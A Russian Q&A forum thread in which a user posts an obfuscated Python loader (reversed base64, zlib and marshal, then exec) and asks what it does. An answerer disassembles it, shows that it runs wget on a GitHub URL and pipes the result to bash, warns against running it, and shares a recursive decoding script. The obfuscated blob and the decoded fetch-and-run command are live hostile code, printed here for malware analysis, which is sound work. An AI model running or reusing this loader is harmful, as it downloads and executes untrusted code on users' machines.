Что делает этот код на Python?

_ = lambda __ : __import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b64decode(__[::-1])));exec((_)(b'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'))


Как его декодировать и что он делает?
  • Вопрос задан
  • 1328 просмотров
Решения вопроса 1
trapwalker
@trapwalker Куратор тега Python
Программист, энтузиаст
Вот байткод, который в итоге пытается выполнить этот кусок:
00: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=0, argval=0, argrepr='0', offset=0, starts_line=1, is_jump_target=False)
01: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=2, starts_line=None, is_jump_target=False)
02: inst=Instruction(opname='IMPORT_NAME', opcode=108, arg=0, argval='os', argrepr='os', offset=4, starts_line=None, is_jump_target=False)
03: inst=Instruction(opname='STORE_NAME', opcode=90, arg=0, argval='os', argrepr='os', offset=6, starts_line=None, is_jump_target=False)
04: inst=Instruction(opname='SETUP_FINALLY', opcode=122, arg=8, argval=18, argrepr='to 18', offset=8, starts_line=None, is_jump_target=False)
05: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=10, starts_line=2, is_jump_target=False)
06: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=12, starts_line=None, is_jump_target=False)
07: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=2, argval='clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"', argrepr='\'clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"\'', offset=14, starts_line=None, is_jump_target=False)
08: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=16, starts_line=None, is_jump_target=False)
09: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=18, starts_line=None, is_jump_target=True)
10: inst=Instruction(opname='POP_BLOCK', opcode=87, arg=None, argval=None, argrepr='', offset=20, starts_line=None, is_jump_target=False)
11: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=22, starts_line=None, is_jump_target=False)
12: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=24, starts_line=None, is_jump_target=False)
13: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=26, starts_line=3, is_jump_target=False)
14: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=28, starts_line=None, is_jump_target=False)
15: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=30, starts_line=None, is_jump_target=False)
16: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=32, starts_line=4, is_jump_target=False)
17: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=34, starts_line=None, is_jump_target=False)
18: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=3, argval='clear', argrepr="'clear'", offset=36, starts_line=None, is_jump_target=False)
19: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=38, starts_line=None, is_jump_target=False)
20: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=40, starts_line=None, is_jump_target=False)
21: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=2, argval='print', argrepr='print', offset=42, starts_line=5, is_jump_target=False)
22: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=4, argval='Thanks for using Xlr8 !', argrepr="'Thanks for using Xlr8 !'", offset=44, starts_line=None, is_jump_target=False)
23: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=46, starts_line=None, is_jump_target=False)
24: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=48, starts_line=None, is_jump_target=False)
25: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=3, argval='exit', argrepr='exit', offset=50, starts_line=6, is_jump_target=False)
26: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=0, argval=0, argrepr='', offset=52, starts_line=None, is_jump_target=False)
27: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=54, starts_line=None, is_jump_target=False)
28: inst=Instruction(opname='POP_EXCEPT', opcode=89, arg=None, argval=None, argrepr='', offset=56, starts_line=None, is_jump_target=False)
29: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=58, starts_line=None, is_jump_target=False)
30: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=60, starts_line=None, is_jump_target=False)


Видно, что скрипт пытается скачать и запустить какой-то баш-файл из сети. Сейчас уже этот урл возвращает 404, но вебархив показывает, что в январе 2023 года был сделан бэкап этой страницы.
ВНИМАНИЕ! НЕ ЗАПУСКАЙТЕ ЭТОТ КОД. ЭТО НАВЕРНЯКА ВРЕДОНОСНАЯ ПРОГРАММА,
ПУЬЛИКУЮ ЧИСТО ИЗ ИССЛЕДОВАТЕЛЬСКИХ СООБРАЖЕНИЙ! Если у кого есть желание, может продолжить ковырять эту историю. Может быть там оффер на вакансию в какую-нибудь серьёзную контору=).

Вот, кстати, код, с помощью которого можно выковырять эти операции. Они рекурсивно закодированы 33 раза одним и тем же способом.
import marshal, zlib, base64, dis


def extract_code(b, deep=0):
    print(f'=== extract_code [{deep}]')
    code = marshal.loads(zlib.decompress(base64.b64decode(b[::-1])))
    instructions = list(dis.get_instructions(code))
    if (
        (instructions[0].opname, instructions[0].argval) == ('LOAD_NAME', 'exec')
        and instructions[1].argval == '_' and instructions[2].opname == 'LOAD_CONST'
    ):
        code2 = instructions[2].argval
        extract_code(code2, deep + 1)
    else:
        for i, inst in enumerate(instructions):
            print(f'{i:02d}: {inst=}')


extract_code(...)
Ответ написан
Пригласить эксперта
Ответы на вопрос 2
Steel_Balls
@Steel_Balls
Это зловред
Ответ написан
Комментировать
NeiroNx
@NeiroNx
Программист
Плохой код. marshal очень зависит от версии.
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы